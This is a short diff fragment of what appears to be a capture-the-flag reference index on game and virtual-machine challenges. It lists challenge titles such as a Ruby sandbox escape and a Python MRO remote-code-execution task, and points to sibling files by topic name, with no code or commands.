+ - 0xFun 2026 "MazeRunna": Roblox version history + binary place file parsing
522
+ - EHAX 2026 "Chusembly": Custom assembly language with Python MRO chain RCE
523
+ - HITCON 2017: Ruby TracePoint sandbox escape
524
+
525
+ ---
526
+
527
+ See also: [games-and-vms-2.md](games-and-vms-2.md) for cookie checkpoint brute-forcing, Flask cookie game state leakage, WebSocket game manipulation, server time-only validation bypass, De Bruijn sequences, Brainfuck instrumentation, and WASM memory manipulation.
528
+
529
+ See also: [games-and-vms-3.md](games-and-vms-3.md) for memfd_create packed binaries, multi-phase crypto games with HMAC commitment-reveal and GF(256) Nim, emulator ROM-switching state preservation, Python marshal code injection, Benford's Law bypass, parallel connection oracle relay, nonogram solver pipelines, 100 prisoners problem, C code jail escape via emoji identifiers, and BuildKit daemon build secret exploitation.